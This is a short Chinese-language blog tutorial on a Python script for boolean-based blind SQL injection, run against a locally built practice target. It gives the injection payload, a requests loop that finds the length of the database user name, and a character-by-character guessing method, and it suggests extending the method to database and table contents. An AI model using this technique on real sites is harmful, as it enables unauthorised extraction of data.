前言:

  最近在学python,做了个盲注的简单的跑用户的脚本,仅做个记录。

  sqmap也有不灵的时候,有时需要根据情况自写脚本探测

  正文:

  本地用大表姐给的sql和php文件搭建了个布尔盲注的靶机

 

爱上python之盲注探测脚本_表名

 

 爱上python之盲注探测脚本_学python_02

爱上python之盲注探测脚本_sql_03

稍作解释:

注入语句里用%s占位,等待在for循里面依次判断长度

[AppleScript] 纯文本查看 复制代码
 
l = "' and length(user())=%s and '1'='1"


requests获取页面执行返回,find方法定位成功的页面特征booooom
#find()方法对字符串的处理,如果匹配到,则返回索引,第几位匹配到,若没有匹配到,则返回-1,即返回一直为int型

[AppleScript] 纯文本查看 复制代码
 
1
2
3
4
5
6
7
8
for i in range(1,20):
    sql = l % str(i)
    judge1 = requests.get(url % sql,headers=headers,timeout=60)
    #print(judge1.content)
    if judge1.content.find("Name:booooom") != -1:
        length = i
        print(i)
        break


此处判断得出长度为14
得出长度下一步来一位一位判断字符,
先把字符集存在列表待取

[AppleScript] 纯文本查看 复制代码
 
check_data = list('1234567890abcdefghijklmnopqrstuvwxyz@')


接下来的套路与判断长度一样 先在for循环里枚举字符与数据做对比,if判断对比一致则可以匹配到页面特征booooom
最后一位一位判断出数据库用户

爱上python之盲注探测脚本_html_04

爱上python之盲注探测脚本_sql_05

 

  一个一个猜库名 表名和内容 ,是一样的套路 有兴趣的可以练练手。